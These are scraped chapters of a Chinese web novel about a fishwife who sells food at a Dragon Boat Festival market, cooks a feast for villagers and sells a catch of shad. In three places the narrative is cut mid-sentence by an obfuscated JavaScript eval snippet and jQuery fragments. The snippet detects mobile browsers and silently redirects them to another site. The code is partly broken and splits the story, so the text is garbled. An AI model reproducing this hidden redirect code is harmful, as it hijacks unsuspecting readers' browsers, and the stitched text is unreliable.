开玩笑，这种情况，就算是她以一敌十，将那些人打服，到最后她和村里都落不了好。 待她回来，果真见村里龙舟队的劳力已齐聚河边，两边对骂再度升级，已然开始上手掐架。 “住手！”赶来的衙役握剑大声呵斥。 见着官差，混乱参战的人瞬间清醒。一时间底下乱作一团，纷纷做鸟兽散。 等场面肃清下来，他方沉声问道：“到底是怎么回事？” 见官差问话，围观众人你一言我一语，将这事情说与官差听。 看着被木头死死拉住的闹事摊主，官差眉心微皱：“你说这片地方是你的？” “这，这，官爷，小的没说过这话，他们许是听错了。”那人方才还满脸桀骜不屑，这会却耸肩耷眉，宛如双翅并拢的缩头鹌鹑。 看他这副伏低做小的谄媚样，木头直翻白眼，平安则垂眸撇嘴，两人对视一眼，不约而同抿唇暗笑。 “既然不是你的地，那你以后勿要再多言。” “是，是，是。小的一向老实本分。” “行了行了。”那官差不耐地挥挥手，对着堤下众人叮嘱，“最近都给我老实点，要是哪日被知县大人发现咱们这有人在龙舟赛上闹事，一个个都给我吃不了兜着走！” 听着知县大人不知哪日要来，众人凝神屏气，吓得脊背微耸，连连老实应是。 “晓得，晓得。” “明白。” 待官差离去，众人方长舒一口气。 两个村的人互相呸了几声，问候对方祖宗几句后便各自散开。 平安忙上前拉住木头低语几句，又将备好的冷淘塞给他，这才继续做起生意来。 因着这一桩闹剧，一些人开始好奇这娘子的槐叶冷淘究竟如何美味，这才引得隔壁摊主生嫉闹事。 一时间，她这小摊生意竟愈发红火起来。 忙到后头，平安只恨自己今日做少了准备。 看着这些人买不到东西遗憾离开，简直像看着钱从她手里溜走。 “明日有没有？” “有的，有的。” “你这娘子，也不多准备一些，不如晚上也来卖卖，那时候出来喝酒潇洒的人才多呢。” “这样好的手艺，不来夜市卖宵食可真浪费。”吃到冷淘的人，砸吧着嘴，试图再品品冷淘的余香。 “你可是卖鱼的胡娘子？”有人认出平安，好奇问道。 “正是，我的档口就在市集东街。” “瞧着也没传闻中那样凶悍嘛。”那人抬眸瞄她一眼，小声嘀咕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403788|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平安只是装作未闻，依旧笑着回答问题。她是泼辣不假，可她又不是随时发疯的疯子。对待衣食父母，自然要温和耐心。 给自己鱼铺做了半晌宣传，又应下几桩生意，平安将炉灶推到月河村驻扎的草庐下。 木头这会正在这等她，平安从他手中取走食盒，又郑重朝村中众人道谢。 “不碍事，不碍事。” “乡里乡亲，在外面当然要团结。” “那些镇上的人欺负你，就是看不起咱们乡下人。” 木头亦劝道：“娘子你赶紧回去歇着吧，我们要开练了。” “好。”平安笑着应下。 与众人告别后，她便回档口放好东西。这些乡邻今日帮了她，她于情于理，都应好好答谢他们才是。 今日天气实在炎热，灶房中又需烧柴用火。今日生意不错，平安便从冰铺买来两块冰带回家消暑。 一块放在灶房作降温用，一块则用干净的盆装起。 回到家，与爷爷招呼一声吼，她便利落宰了一只大鹅。 胡水生一边拔毛，一边问平安：“今朝发生了什么喜事？” 平安将今日河堤边的闹剧择捡一番后同他慢慢说来。 “那是，人家讲义气帮了忙，又和榆明相处好，咱们好好招待一顿不为过。” 村中人情往来说复杂也复杂，说简单也简单，左不过一些利益交换。若能趁这个机会交好村中乡邻，胡水生心中喜闻乐见。 抓来一把茶树菇洗净泡发，将处理好的大鹅切块，用凉水慢慢浸润渗出血水。 几次换水后，平安将鹅肉控干水分，撒入面粉用力抓拌，再度吸附肉块中的血污。 等待的功夫，她从橱柜中寻来八角、桂皮、白芷、花椒、草果、肉蔻、甘草、橘皮等佐料。 用清水冲洗干净肉块，继续入黄酒葱姜抓拌腌制。 起锅烧油，入红葱姜蒜煸制出香味。 接着便可放盐，倒入香料，用小火炒香。这香味，是与卤水不一样的甘香，闻着馥郁却不腻味。对待不同的食材，她喜用不同的卤料配方，不然所有东西都一个味道，吃起来也没了意思。 再入鹅肉，与香料翻拌均匀，大火翻炒迅速断生。 待肉块表皮微焦，肉质缩紧，入一勺甜酱、两勺酱汁、少许腐乳汁翻拌上色。 雪白的肉块瞬间变为淡淡的酱色，平安见状，倒入黄酒与温水开始焖炖。 用温水炖煮出的鹅肉，肉质细嫩而不失嚼劲，汁水亦因高温而紧紧锁入皮肉之间。 入口鲜香弹牙，汁水饱满，浓郁的卤香伴随着细嫩香浓的鹅肉在唇齿间绽放。 回想起这股香味，平安口中津液横生，恨不得立马扒上几口饭下肚。 她看了眼一旁泡发的粉丝与菌菇，歇口气便开始处理鲜虾。 将长虾去头开背，挑出虾线。 砂锅中铺好泡发的绿豆粉丝，将蒜蓉、葱花、芥辣备好，只待木头他们归家便上炉开焖。 吃这鲜虾就只需用砂锅煨上一小会，再熄火焖煮数息，若是时间过长，则肉易变柴，反倒失了些鲜味。 只有严格控制时间与火候，才能将食材的鲜美最大化。这道蒜蓉粉丝虾也是爷爷的心头好，吃起来肉质鲜甜，蒜香浓郁。底下的粉丝亦吸满虾的鲜香与酱汁的咸香，入口绵软，鲜辣开胃。 或是下饭，或是当主食，都十分得宜。 待铁锅中传来细密的咕噜声响，平安掀开锅盖细看，里面的汤汁已坎了一截，化为浓赤的酱色。 锅中热气蒸腾，持续翻滚着沸腾的气泡。 这火候正好，平安将鹅肠切断，与茶树菇一同入锅翻拌，继续盖盖焖炖。 这两样配菜口感脆嫩，放到最后再下锅，一来可给鹅肉提香增鲜，二来在吸满汤汁的同时，也能保持食材本身的鲜脆口感。 平安炒了把嫩生生的鸡毛菜，又做了道木耳炒鸡蛋，便只等木头回家开始焖虾。 忙完这些，她早已热出一身黏汗。用毛巾入热水擦洗一番后，平安理了理发髻，将冰块抱到堂屋。 这个时节，蔬菜见风就长。 角落、路边生了满地的紫苏正伸展腰肢散发着独属于它的特异芬芳。平安摘来紫苏叶与薄荷入壶烧水，又朝水中投掷几片橘皮与甜叶菊。 待得水沸，再入几片紫苏继续翻滚。 这样煮出来紫苏水色泽呈淡紫色，口感清爽，回味甘甜。若是有闲情，还可从树下摘下个未熟的橘子，挤入几滴汁水，它便可化为鲜艳的绛红色。 煮好的紫苏水再加入些许冰块与冰糖搅拌，便是夏日里消暑解渴的简易版紫苏饮。 若是没有蚊虫骚扰，提上一壶冰冰凉凉的饮子，端来三两糕点，与家人在树下共饮闲聊，欣赏一番她种植的漂亮花草，闲暇时摸摸狗头，那才是人间的好时节。 问得院外狗吠，平安信步推开院门。 一股凉风突然袭来，吹动她鬓边的碎发。平安伸手轻抚鬓发，抬眸间，绚丽的晚霞瞬间映入眼帘，紫红的霞光这会已遍布天际，正拥簇着橘红的夕阳慢慢下沉。 一望无际的绿色稻田边，木头正兴高采烈地揽着三两村民，阔步朝家中赶来。 43. 杀鱼的第四十三天 见得平安，木头眼前一亮，快步上前拉住她的手。 见得同行的村民都一脸揶揄地看着他俩，平安心下羞囧，轻轻拍开他袭来的大手。 木头却不管，只是拉着她对村民道：“我娘子已将饭菜备好，各位弟兄叔伯还请随我进门。” “你怎知道做好了？”平安诧异问道。 “老远就闻见香味了。”木头挑眉，在她耳边低语。 看着两人相处和谐，在人前亦不避讳亲密举止，村中众人不由仰头高看木头一眼。 这杨榆明可真是个厉害的，敢和母老虎成亲也就罢了，相处这么久竟还相安无事。 他们帮忙说和，一来是看胡老爹的面子，二来也是不想叫旁人看轻他们村。 至于这胡平安能如此通情达理，倒是出乎他们意料。 看来，是成亲后人也懂事了。 “大家请进，粗茶淡饭，还请不要嫌弃。”平安将大门推开，躬身迎客进门。 前院有木头与爷爷招呼村人，她便回到灶房继续忙活。 起锅烧油，将蒜末、葱花、芥辣共同爆香，随着猪油滋滋轻响，锅中传出呛人蒜香。 平安见状，再将酱油倒入汲取香味。将熬好的酱汁均匀铺入砂锅，便可盖盖焖煮。 不多时，青灰色的虾肉便已焖红，与葱蒜一同散发出独特的鲜香。 留下小碗鹅肉给爷爷明日吃，夹出自己那份菜，平安便向爷爷打了招呼。 她实在不习惯与这么多男人一起上桌，还是一个人吃来得自在。 堂屋里早已架好圆桌，桌上摆好药酒与冰凉清爽的紫苏饮，角落则摆放好冰盆与点燃的艾香。 待菜陆续上桌，平安与木头私语几句，便回灶房将晚膳解决。 今日宴席丰盛，荤素搭配，酒饮皆有，自然受到村民广泛好评。 主菜铁锅炖大鹅不必谈，自然是煨得软烂脱骨，甘旨肥浓。锅盖一掀，他们之前在路边闻见的香味便再度霸道闯入他们的鼻腔。 劳累整日，乍然闻得这浓郁荤香，众人肚中压抑多时的馋虫瞬间被勾起。 在爷爷几句客套话后，他们当下也不再客气，拿起筷子便开吃。 而这道蒜蓉粉丝虾，虾尾肉质鲜嫩紧实，香辣可口却不失回味清甜。芥辣的加入为这道虾提供了淡淡的辣，亦为它的汤汁增加几分醇厚鲜香。 吸满汤汁的绵软粉丝与脆嫩的虾肉一同入口，口感丰富又奇特。 众人吃得尽兴，对着胡水生与木头连连道谢。 有了这个开始，剩下那道鸡蛋炒木耳，他们也不再轻视。 夹起一块细品，这鸡蛋滑嫩细腻，木耳爽脆，两者结合却又另产生一股独特的合香，让这两种食材的味道在这一刻得到升华。 外间炎热，可堂屋内依旧泛着一股清冽的凉意，闷热之余再喝上一杯冰凉甘甜的紫苏饮，只让人觉得整日的暑气都被这一口饮子镇了下去。 酒余饭饱，村民们纷纷呼醉告辞。 平安喊木头送客，他们见着平安，忙朝她挥手笑道：“多谢招待。” 待得晚间，因着那两大块冰，一家人倒是可睡个清凉觉。 夫妻俩坐在床边，一块盘算最近几日的收入。 “最近档口卖鱼生意勉勉强强，鱼丸倒是畅销。” 平安将一百枚铜钱串成一串，指节轻叩桌面。 “娘子今日受委屈了。”木头殷勤地替她揉了揉肩背。 “小事，不招人妒是庸才，有人嫉恨我，那说明咱们生意好。” “你看。”她将这两日卖鱼丸与冷淘的钱推到木头跟前，“足足有四百多文，我恨不得龙舟再多赛几日才好。” 木头忙出言安慰：“等明年，只要徭役早些结束，咱们就能卖上半个月。” “那是。”平安分出一串铜钱给木头，“拿着，明日你们不回来用晚膳，若是中途饿了渴了，就买些东西吃。” “娘子，用不着这么多。” “拿着吧，我高兴。” “那小的谢娘子赏！”木头一把揽住她，两人鼻尖相蹭，对视一笑。 “油嘴滑舌。” 烛光如豆，灯影忽闪忽暗，在这暗黄的光晕下，两人的脸庞都染上层淡淡的柔光。 木头本就生得好，他长眉入鬓、鼻梁高挺，端的是神采英拔，俊朗非凡，可偏偏生就一双潋滟多情的桃花眼，睇谁都眉目含情，他身上那股子浑然天成的不羁之感便是源自于此。 平安承认，她选他的原因十分肤浅，便是他五官亮眼，生出的孩子好看。 他一向油嘴滑舌，哄人的话信手拈来，而那双眼睛，更是看灰灰都多情。 可这一刻，在这摇晃的昏暗光影里，她竟恍惚地从那双眼里看到了几分真挚的柔情。 平安的心猛然一窒，不着痕迹地撇开目光，她想，定然是光线太暗看花了眼。 因着前两日生意欣荣，到了五月初三，平安便多备了些食材，顺道带着爷爷一起来看看热闹。 这几日，沿河的摊位生意都不错，抢位之争愈发激烈。 开玩笑，要是在太阳下暴晒半日，身前还摆着滚烫的油锅，平安只恨不得化身后羿，射下那颗日来。 为着抢占树荫，平安只得早早出发先将位置占了，再回档口卖鱼。 出乎她的意料，等她将鱼卖完，回到摊位，便有人在此等她。 竟是第一位买冷淘的那位大叔。 “胡小娘子，来了？可让我久等。”他扬了扬手中折扇，揶揄打趣出声。 “档口才忙完，劳您久等了。”平安笑着将炉灶架好，温声问道，“您今儿要来些什么？” “两碗冷淘，六颗鱼丸，鱼丸给我串好。” “好嘞。”平安利索将东西备好递出，“盛惠十文，您拿好。” 他满意点头，这才吐出自己姓氏：“我姓郭，你唤我郭叔就成。” 平安自是从善如流，乖乖应下。 有了前几日的积累，她今儿生意格外火爆，火爆到她都想转行开家小食店。 可她也明白，这是沾了端午的光，平日里大家不会舍得这样花钱。 若想添置副业，得打听清楚镇上的行情再下手。 饭点将过，她今日的货便销售一空。 等到明后两日，玉溪河航道就将封锁，她若不趁此机会去大河捞上一把，家中的存货便抵不住消耗了。 她给爷爷备好午食，又将档口钥匙给了他老人家。 可临了，要当着爷爷的面去大河，平安心中仍有几分发虚。 这份忐忑直持续到她第一网丰收。 捞上鲤鲫草乌这类常见鱼儿，她只是淡然将它们分好。 可这一网，出来的鱼儿色泽如银，形秀而扁，鳞片上还泛着幽幽的蓝绿色光泽，这不是她心心念念的鲥鱼是什么？ 这一刻，鲥鱼那银色的鳞片，在她眼中霎时变成闪闪发光的银子。 鲥鱼是当地知名的季节性时鲜，每年都只在初夏时节入江洄游产卵，其余时间都不可得。 它肉质甜美，鱼子更是细腻非常。 即使细刺极多，也甚受当地富贵人家喜爱。有文人曾赞它银鳞细骨，又恨其美而多刺。 光是一斤，便可卖出上百文的高价。 她这里这么多，不得大几十斤，她真的是发了，发了，这几日她可真是财运滚滚。 平安深吸一口气，努力克制心中澎湃的情绪。她抬头望了眼高悬的烈日，只觉得这端午节前的晴日十分顺眼，果真旺她。 平安小心翼翼地将银鱼从网中取出，慢慢将它们放进船舱。 这可是金饽饽，便是掉上一两称她都会心疼。 但她来不及想太多，便立马提网继续捕捞。 这鲥鱼皆是结群逆流洄游，她能捕到鲥鱼，说明这附近定然有鲥鱼种群。 平安逆流往上，继续撒网。 功夫不负有心人，终于又让她捞到了几条。 再撒网，却只能得些刁子与银鱼。 呸呸呸，平安想，她可真是抖了，这银鱼亦是上好珍品，她竟然用上却字。 今日满载而归，她该惜福才是。 至于这鱼，该如何消耗，自然要去大河的码头。 不到万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14418576|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得已，她不想把鱼放到玉溪镇。 她可不想被贼惦记。 既然连续数网落空，平安也不再强求，用汗巾擦干脸上的汗，便调转船身准备返程。 再来汉云码头，平安戴上斗笠，将帽檐压低，便开始在人群中寻觅相熟的鱼贩。 也是碰了巧，又让她见着上次买她翘嘴的鱼贩。 见得平安，他热情挥手招呼：“小娘子，可有什么俏货？” 平安颔首应是，唤他上船看货。她随即撑船缓缓靠近，伴随着清润的桨声，河面瞬间荡起阵阵清波，轻轻地拍打着河岸。 鱼贩子笑着跳上船头，船头受重往下一压，船身亦往江心后退，平安忙撑杆稳住船身。 他右脚往后轻抵，弯腰朝船舱看去。 待见得里面的好货，他双目瞪圆，扭头颤声问道：“鲥鱼？” 见平安点头，他小声开口：“你想要什么价？” 平安不答反问，只是轻笑出声：“你开多少？” 鱼贩动作一顿，低声解释：“这鱼的价格，每天都不一样，不同品质也不一样。” 看他还在给自己打机锋，平安声音沉了下来：“这鲥鱼我卖过多次，价格大家也都看在眼里。你若是真心想做这门生意，便开个价，以后咱们合作的机会还多得是。” “那是，我知道娘子你这鱼都是新鲜来的，这样吧，我给个优惠价，八十文一斤。” “太低了，再加点，市价从未低于百文。” 那鱼贩为难接话：“您也说是市价，这算上损耗和成本，您也得让我赚点，最多八十五，不能再多。” “不成，我卖鱼多年从未卖过这个低价，这市集里多得是我相熟的鱼贩。” 平安睨他一眼，继续道：“一百文一斤，你若诚心要那我就给你，这东西在县里可不缺富户买家。” “哎哎你这娘子，可真是厉害，行，那我陈三就交你这个朋友，下次有好货可别忘了喊我。” “那是自然。”平安一边提桶，一边应好。 两人将价格敲定，共称得鲥鱼七十四斤六两，平安抹了个零，收得银钱七贯三。她当场向场务缴清税银三百六十五文，又批发了些鲈鱼鳜鱼进舱，这才满心欢喜朝玉溪河赶。 谁料返程途中，却突闻锣鼓咚隆，炮竹震天。 她知晓怕是有龙舟在往这边前行，忙靠边避让。 待离得近了，平安这才看清，他们月河村的龙舟也在其中。 她停桨示意，村里龙舟则三点船中竹竿，朝她招呼。 他们来去如风，如同飞旋出弓的箭矢，在水面冲出道道羽状的涟漪。 龙舟随阵阵破水、击浪之声而来，又随着锣鼓声响飞速远去。 在缭绕的烟雾中，他们的面庞仿佛都被笼罩一层细纱。平安仔细盯着看了半晌，这才找到船上的木头。 两人对视的刹那，他朝平安抛了个媚眼，随即敛神听船头指挥。 划这龙舟可不比个人行水，人多，船小，吃水也重，稍不注意，就得连人带船翻入水中。 每逢此景，就会惹得岸上观赛百姓哄笑不已。 另则，船员的筛选与配合也是门学问，非老班头不可知。 平安只听说行船主要靠头桡破水减少阻力，这头桡自然得是力大体壮之人。再则，所有船员动作亦需整齐划一，力度需深浅一致，只有如此，才可破除其他干扰，将合力发挥到极限。 她后知后觉发现，经过数日努力，木头竟也坐到了头桡位置的......后头。 嗯，那也不错，算有进步空间。 赛期临近，时间吃紧。他们今日还有得练，平安目送一段后，便也不再逗留，直往镇上而去。 日暮西沉，黄昏美景无限。 巍峨的石桥上，行人往来如织，市集交易繁荣，连夜市的摊位也逐渐摆出。 这副喧闹场景倒映在霞光氤氲的河面，与堤下碧绿的垂柳，摇曳的清波交相辉映。 河面亦船来船往，好不热闹。 在欸乃的桨声与悠扬的号子声中，平安朝树下愣神的胡水生高声唤道：“爷爷！” 44. 杀鱼的第四十四天 “安安，回来了？” 听得孙女唤他，胡水生赶忙起身，弓着腰拍了拍身上的灰。 看着河岸两侧的档口陆续挂上灯笼，码头街道行人如织，热闹非常。平安将船靠岸，笑问道：“爷爷，你想吃点什么？咱晚饭也在镇上吃点？” “你这孩子。”胡水生好笑地睨她一眼，“我不想吃什么，只想回家。” 平安早知道他是这回答，她跳上岸，将船锚递给爷爷：“那我去买点东西，爷爷您帮我看着船。”既然不在镇上吃，那买些好的回家吃也成。 只是这会已是傍晚，许多荤菜都已卖光，不知能买到些什么。 “去吧去吧，快些回。”胡水生跨步上船，朝她挥挥手。 平安快步回到街上，辗转几个摊子，这才买到两根排骨一块猪皮。买完这些，她又去粮油铺提了些面粉。 手上这些东西，不过四十二文，连半斤鲥鱼都比不上。 一时间，平安也不禁做起了白日梦，想着要是能天天捞到鲥鱼就好了。 她也不贪心，捞上十日，就够她家建新房了。 待她转身去市集找方娘子买豆腐，却在往来的人群中见得季泽与许小娘子相携走来。 见得平安，许芳菲正欲开口，却被季泽一把拉过，两人对视一眼，终究是许芳菲妥协，随即噤声不语。 三人只当未见，各走一方。 已经过去的人在平安心中不过是消散的烟云，她早已不再放在心上，至于他们心中如何想，她却是不想知，不想管。 这镇上就这么大，遇到熟人乃是常事。更何况，她以前可不止相看季泽一个郎君，若是每遇到一个她都尴尬不已，那她整天净刨地躲羞就够了，别的什么也别想再做。 虱子多了不痒，债多了不愁，说的就是她。 爷孙两人回到家中，平安刚将排骨剔肉炖上，门外却突然响起玉兰的声音。 “安安，在家吧？” 胡水生赶忙应道：“在，是玉兰吗？门没关。” “幺爷，是我。” 随着咯吱一声响，玉兰跨步进院，她朝胡水生唤了声后便朝灶房跑去。 人未进，她手中几枝莲蓬已伸进灶房。 “呐，给你的，大忙人，等你一天了。”她话说到一半，稍不留神就被悬挂在门框上的干艾叶菖蒲扫了脸。 玉兰哎呦一声，用力在脸上擦拭。 平安笑着接过莲蓬，对她道：“留下来吃晚饭，等下我送你回去。” “不了。”玉兰摆摆手，“塘里有些莲蓬熟得早，我就给你摘点尝尝鲜。” “行。”平安转身提了条鲫鱼给她，“拿着，没啥好东西。” “你这是做什么？”玉兰见着她拿东西，转身就要走，“我给你吃点东西，你回回都要来这个，我又不是送不起。” 看她跑得飞快，平安只得高声唤道：“端午那天下午来我家玩。” “看情况。”玉兰回头，笑得灿烂。 新采摘的莲蓬色泽翠绿，藕杆上还带着丝丝缕缕牵扯出的白色藕丝，近嗅还可闻得一股淡淡的清香。 莲蓬不足手心宽，但里面的莲房饱满扎实，基本没有空包。平安连吃了几颗莲子，莲子芯颜色尚未变绿发苦，还是淡淡的嫩黄色，莲肉亦十分水嫩清甜。 她轻轻喟叹一声，还是这样的嫩莲子好吃，再老些，莲子芯变苦，莲肉也失水变硬。 这会很多荷塘尚且只有一些花苞，莲蓬着实稀少，玉兰的这份心意，平安总觉受之有愧，老想着在什么地方找补给她才好。 想到家中的豆腐，平安同爷爷说了声，便转身往家后面的竹林跑去。 最近几天雨水少，还不知道能不能寻到竹荪。 这竹荪口感脆、嫩、鲜，平安很是喜欢，它多出现于腐烂的竹鞭与枯竹附近，靠着它们腐烂的枝叶为生。 平安弓着腰在枯竹附近找了半晌，身上的汗哗啦直流，却始终不见它的踪影。 就在她打算放弃之际，她余光一撇，竟在一个角落发现了疑似它的伞柄。 走近一看，果然是。 竹林里常见的竹荪伞托有灰、白、绿几色，菌网有白有黄，菌杆有长有短，因着菌柄顶端有一圈网状菌裙从顶端向下铺开，竹荪又被称为竹姑娘，竹参。 傍晚时分，不少竹荪孢子已然成熟，平安见着好些倒地的白色竹荪，想来是喷射完孢子后，自溶滴落，思及此，她忙加快手中采摘动作。 等哪日得了闲，她定要多摘上一些晒干保存。 寻觅半晌，平安终于摘得小捧竹荪归家。 她将它们浸泡在井水中，小心淘洗干净菌身沾染的泥灰，接着便开始处理猪皮与豆腐。 这会铁锅中的圆润石头早已被火煨得炽热，平安将晾干的猪皮放入锅中。 随着她的铲动，弹嫩的猪皮遇热迅速膨胀卷曲，锅中瞬间腾起一阵白色烟雾。不多时，一块猪皮变化为一块组织蓬松，色泽米黄的石爆猪皮。 这样做出的猪皮口感酥松，直接嚼用的口感与草木灰爆出的米花有些相似，也可汆入卤水中与香料同煮，做好后的肉皮色泽酱红，颤巍巍，弹卜卜，疏松的结构吸满浓郁的卤汁。 平安舀出些卤水，加上酥酥的猪皮与豆腐一起卤制，待出锅，撒上一把葱花，一份香喷喷的卤水锅子便出锅。 忙完这些，排骨汤也近熬成。 平安照例倒了些排骨汤进卤水养护，又加了些盐和卤料继续烧开。 将竹荪切断，倒入剩下的排骨汤中，待得水沸，再放几颗新鲜莲子解腻提香。 至于剔下来的拆骨肉，平安拿蒜苗与肉一块爆炒。 这拆骨肉与隔山肉、后脖里脊肉一般，口感独特，肉质极其细嫩，平安吃猪肉最喜吃这三个部位。 再从井中取出昨日留下的鹅肉加热，今日的晚膳便已齐全。 胡水生瞅着，这菜实在有些过于丰盛，他笑问平安：“今日生意很好？” 平安嘿嘿一笑，闷声点头：“我捞到了鲥鱼。” 胡水生满意颔首，低声嘱咐：“别告诉别人了。” “那是。”平安应道，当然要闷声发大财。 今日的晚膳，拆骨肉细嫩喷香，肉片呈酱色，蒜段绿白相间，色彩搭配悦目，又带着浓郁的香蒜味，吃着很是下饭。 而那盆卤菜，猪皮胶质浓郁，弹嫩爽滑，豆腐则鲜香细腻，沾上些许汤汁细品，滋味比蟹黄还要胜上三分。 若是吃得腻了，喝上一碗清澈微甘的排骨竹荪汤溜溜缝，便可瞬间化解口中与胃里的腻感。 汤里的排骨早已炖得皮肉分离，竹荪口感更是脆嫩爽口，鲜美非常。 爷孙俩吃得是肚腹滚圆，只是苦了木头，晚上归家的时候囔囔着饿得咕咕叫。 平安将给他留的菜端出加热，夫妻俩坐在桌前开始聊起天来。 “真香，还是咱家这卤水香，那镇上卖得都是啥子哦。” 话未说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429549|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他立马意识到自己说漏了嘴，方才他可说的是除了村里备的饭外什么也没吃。 看娘子并未发现，木头打着哈哈，当即转移话题：“娘子，咱们镇上晚上可真繁华。” “真的？”平安虽常年在镇上混，可她晚上从不在镇上逗留。 一来，是担忧大晚上的鱼龙混杂，二则，她需每日早起，晚上更是早早入睡，根本没时间去体验木头口中的繁华。 “你别不信。”木头说起这个就眉飞色舞，“那河两边档口灯火通明，檐下灯笼皆高高挂起，倒映得水面红彤彤一线，晚上咱们返程不必提灯就可看得清清楚楚，只是到了村里就黑黢黢的，怪瘆人。” “那晚上的夜市，可比白日的还要热闹，那些做宵食的摊子也数不胜数，卖烧饼的、卖扁食的、还有好多种小食蜜饯，可把我馋哭了。” 平安听得低声闷笑，这人可惯爱夸大，她笑问：“你喜欢甜的还是咸的，赶明儿咱们做粽子，多做几个你爱吃的口味，让你吃个饱。” “这好！”木头猛灌一口汤，这鲜美滋味直将他未尽之言堵在喉间。 “鲜，真鲜！”他指着竹荪赞叹。 “这就鲜了？今日没有鸡，可惜做不成莲藕竹荪豆腐汤了。” 木头一向上道，这会说起豪言壮语来气也不喘：“忙完这段我多多赚钱，到时候咱们一天买只鸡吃，只喝汤，不吃肉，把肉都给灰灰小白吃。”说罢，他啧了一声，长长舒了口气。 看他语带憧憬，平安也未打破，只是笑着附和应好。 “那镇上晚上可真热闹，娘子，哪天咱家也一起夜游夜游这玉溪河？” “好啊。”平安正想打探打探这晚上的夜市行情。 市集里新开一家鱼铺后，她卖鱼的收益有时比禁渔期还差。不过她也未曾降价，只是卖鱼送鱼丸，买的多，送得也多。 她的好些鱼卖价已是实惠，加之夏日鱼儿损耗高，再降价无异于自己把路走死。等降了价，再涨回来可就难了。 那新鱼铺卖某些鱼儿定然是亏了钱的，平安就等着看他们能坚持多久。 自从那次杀了鳄鱼以后，她又去了大河好几次，可就今日得了丰收，在她看来，捕鱼的收入其实也不太稳定。 最近她也慢慢琢磨出些生意经来，自从开始卖鱼丸，她便发现鱼丸的利润要比鱼高。 她光卖鱼只能赚些辛苦钱，捕鱼也是看天吃饭，时好时坏，寄希望于哪日可得河神眷顾，发个偏财。 粗略加工的鱼丸便能增加利润，若是深度加工，她岂不是赚得更多。 之前去许娘子脚店，她也听到了她们店里的菜价。 普通的鲫鱼不过十文左右一条，可做好的红烧鲫鱼却可卖出二三十文的高价。 她在汉云码头听那些贩子吹嘘，道现在很多厨娘给大户人家上门做上一顿饭，少则两三贯赏钱，多则五十上百贯！ 她若能在玉溪镇甚至江宁府打出名声，那她岂不也有了机会发财。 “娘子？娘子？”木头歪头唤道。 平安瞬间回神，她清了清嗓，笑着摸了把他的脸：“多吃点，最近都累瘦了。” 木头闻言抿唇窃喜，他挺了挺胸膛，头颅微仰：“那是，他们都说我精瘦许多，长得可都是结实的肌肉。” 说罢，他轻哼一声，低声同平安耳语：“不信，等会我脱衣给你看看。” 这人，三句话不离那些事，平安无奈地望了眼房梁，只应道：“吃完再说。” 45. 杀鱼的第四十五天 五月五日端午节，家家户户将悬晒几日的菖蒲艾叶取下熬水，以求去除晦气，洗净一年兴灾。 玉溪镇上，各村龙舟早早列队等候，只待一声号令，便列阵游舟，供两岸百姓观赏。 他们从玉溪河与洛江交界处逆流而上，途径沿河村镇，过玉溪镇石桥，求得真龙过洞之吉意，而后在此从石桥前方排队等待比赛。 端午佳节，家家户户均需筹备丰盛宴席，故而档口的生意格外红火。所幸平安早有先见之明，早早请来堂姐玉兰给她帮工。 听一些客人说，新开那家鱼铺，今日里鱼价涨了不少。 虽然他们都说是听说，但平安这估摸着这就是他们自己亲耳所闻，不过有生意可做，她又何必戳穿。 这种情况并不少见，逢年过节，许多卖菜的档口都会趁机发笔节日财。 平安并未涨价，除非遇着灾害或是其他意外，不然，她的价格一向稳定。 即使顾客们不会因为她这里节庆不涨价而坚定地选择她，她也不想做这种趁火打劫之事。 “胡娘子！今日有什么好货？” 曹伯人未到，声先至。 平安揉了揉酸痛的手腕，忙起身笑应：“今日有鳜鱼、鲈鱼、小银鱼，看您喜欢吃什么？” 曹伯瞄了两人一眼，又伸头进档口看了下鱼。 他沉思片刻，对着平安道：“来条鲈鱼罢，清蒸着吃。” “好。”平安利落地替他将鱼刮鳞，剖肚。 曹伯走后，熟客王婶子也接踵而至，她是鲫鱼的忠实爱好者，今日也依旧如此。 “来尾大点的鲫鱼，但不要太大。” 平安给她挑了尾两斤三两的，她认真观察了半晌，这才点头称重。 这边平安负责杀鱼，那边玉兰便负责捏制鱼丸。两人各司其职，不过申时，档口鱼儿就已售罄。 两人关门，一块将炉灶与货物推到河边摊位。 今日人潮汹涌，观赛百姓不知比前日胜过几何，河边更是里三层外三层挤满看热闹的百姓。 或是早在寅时便搬着自家马扎杌子死死占据第一排，或是踩着凳子，扶着树干，凭栏远眺，想尽办法，只为多看几眼心心念念的龙舟。 平安入目所及，密密麻麻皆是看热闹的人。 人们或手持蒲扇，或头戴草帽斗笠，想方设法从这烈阳下寻得一丝清凉。 